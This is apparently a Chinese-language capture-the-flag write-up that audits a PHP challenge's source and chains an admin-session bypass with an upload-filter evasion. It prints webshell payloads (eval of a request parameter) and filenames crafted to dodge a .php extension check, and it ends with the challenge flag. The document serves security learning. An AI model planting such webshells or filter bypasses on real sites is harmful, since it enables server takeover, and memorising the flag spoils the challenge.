打开环境,熟悉的界面
随便点点,只有一个界面能打开,项目管理
查看源代码
找到view-source.php查看源代码
一段段进行代码审计
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
get通过page传参,不能是index.php,否则包含flag.php,直接重定向到flag.php(就是界面没变)
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
判断session是不是admin,然后获取到一些值(应该就是我们post传上去的),如果匹配到php3457,pht,phtml这种特殊的后缀名,那么就结束。如果没有匹配到,那么就写入文件
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
这里判断id是否存在,floatval这里用的!==,所以类型也要比较,后变为字符串string,前面为数值float,所以肯定不相等。
substr用来返回字符串
然后进行数据库的查询,并且进行了转义
综合上面三段代码进行分析
第一段是个简单的重定向,get参数page不为index.php即可
第二段 需要得到一个admin的session,之后可以post传入con与file两个参数
File参数是自定义的文件名字,之后会处理为backup/文件名
这里对文件名进行了过滤,防止后缀名是php等后缀名的文件。
上传成功后,会切换到uploaded目录,创建文件,并将con的内容写入,
那么实际文件的路径就是:uploaded/backup/xxx.xxx
第三段代码是对get参数id进行校验,如果id的浮点数不是1,且最后一位是9那么实行查询语句,如果查询正确,会得到一个admin的session
因此我们这里就需要满足所有需求
写一个payload获取
?page=flag.php&id=1mlws9
然后进行文件上传,利用bp进行post传参
file=1.php.xxx&con=<?php @eval($_GET['cmd'])?>
用蚁剑连接webshell,界面已经被解析了(Apache文件解析漏洞),但是连接不上
这方法失败了
换了另一个payload,依旧解析成功,还是连接失败
file=test.php/1.php/..&con=<?=@eval($_POST['cmd']);
又换了一个payload(前面必须加空格,这个成功了,不知道什么原因)
file= p.php/.&con=<?=@eval($_POST['cmd']);
蚁剑连接,有显示%20
找到flag
cyberpeace{b2e49a0c91b8e7418a236cf920b8bdef}